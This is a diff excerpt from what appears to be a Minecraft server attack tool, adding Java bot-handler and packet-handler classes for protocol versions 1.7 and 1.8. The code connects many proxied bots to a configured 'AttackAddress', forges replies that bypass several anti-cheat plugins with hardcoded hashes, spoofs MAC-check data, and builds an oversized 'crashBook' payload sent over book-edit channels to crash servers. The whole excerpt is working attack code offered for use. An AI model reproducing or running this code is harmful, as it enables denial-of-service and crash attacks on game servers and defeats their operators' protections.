return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
}
|
@ -0,0 +1,363 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_7_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import org.spacehq.mc.protocol.data.game.ItemStack;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientChangeHeldItemPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerUpdateHealthPacket;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
import org.spacehq.opennbt.tag.builtin.StringTag;
|
||||
import org.spacehq.opennbt.tag.builtin.Tag;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
case "CatAntiCheat":
|
||||
case "catanticheat:data":
|
||||
if (ConfigUtil.CatAntiCheat) {
|
||||
CatAntiCheat.packetHandle(session, packet.getData(), username);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerUpdateHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerUpdateHealthPacket serverUpdateHealthPacket = (ServerUpdateHealthPacket) recvPacket;
|
||||
double health = serverUpdateHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
String packetName = packet.getClass().getSimpleName();
|
||||
|
||||
if (packetName.contains("ServerEntity")
|
||||
|| packetName.contains("ServerPlaySound")
|
||||
|| packetName.contains("ServerUpdateTime")
|
||||
|| packetName.contains("ServerMultiChunkData")
|
||||
|| packetName.contains("ServerUpdateTileEntity")
|
||||
|| packetName.contains("ServerSpawnMob")
|
||||
|| packetName.contains("ServerChunkData")
|
||||
|| packetName.contains("ServerPlayEffect")
|
||||
|| packetName.contains("ServerDestroyEntities")
|
||||
|| packetName.contains("ServerWindowItems")
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "收到未处理的数据包: " + packetName, "DEBUG");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
|
||||
byte[] crashData = buf.toByteArray();
|
||||
|
||||
sendClientPluginMessagePacket(session, "MC|BEdit", crashData);
|
||||
sendClientPluginMessagePacket(session, "MC|BSign", crashData);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(msg.toJson());
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
if (obj.has("text")) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
if (obj.has("with")) {
|
||||
// 记录 "with" 数组元素以便之后处理
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
// 对 "with" 数组的处理,添加适当的分隔符
|
||||
if (!withElementsText.isEmpty()) {
|
||||
// 添加第一个元素,并包围以方括号
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]");
|
||||
// 如果有更多元素,这些应该跟随在后面,并用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ClientSettingsPacket.ChatVisibility.FULL, true, ClientSettingsPacket.Difficulty.NORMAL, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientChangeHeldItemPacket clientChangeHeldItemPacket = new ClientChangeHeldItemPacket(slot);
|
||||
session.send(clientChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, int pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequestPacket.Request.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
|
||||
public static ItemStack getCrashBook() {
|
||||
ItemStack crashBook;
|
||||
CompoundTag nbtTag = new CompoundTag("crashBook");
|
||||
List<Tag> pageList = new ArrayList<>();
|
||||
|
||||
// Plain Mode
|
||||
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
|
||||
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
|
||||
|
||||
for (int a = 0; a < 35; a++) {
|
||||
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
|
||||
}
|
||||
|
||||
nbtTag.put(new ListTag("pages", pageList));
|
||||
crashBook = new ItemStack(386, 1, 0, nbtTag);
|
||||
|
||||
return crashBook;
|
||||
}
|
||||
}
|
23
VersionSupport-P1_8_X/VersionSupport-P1_8_X.iml
Normal file
23
VersionSupport-P1_8_X/VersionSupport-P1_8_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.8.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,174 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_8_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxy));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
}
|
@ -0,0 +1,366 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_8_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import org.spacehq.mc.protocol.data.game.ItemStack;
|
||||
import org.spacehq.mc.protocol.data.game.values.ClientRequest;
|
||||
import org.spacehq.mc.protocol.data.game.values.setting.ChatVisibility;
|
||||
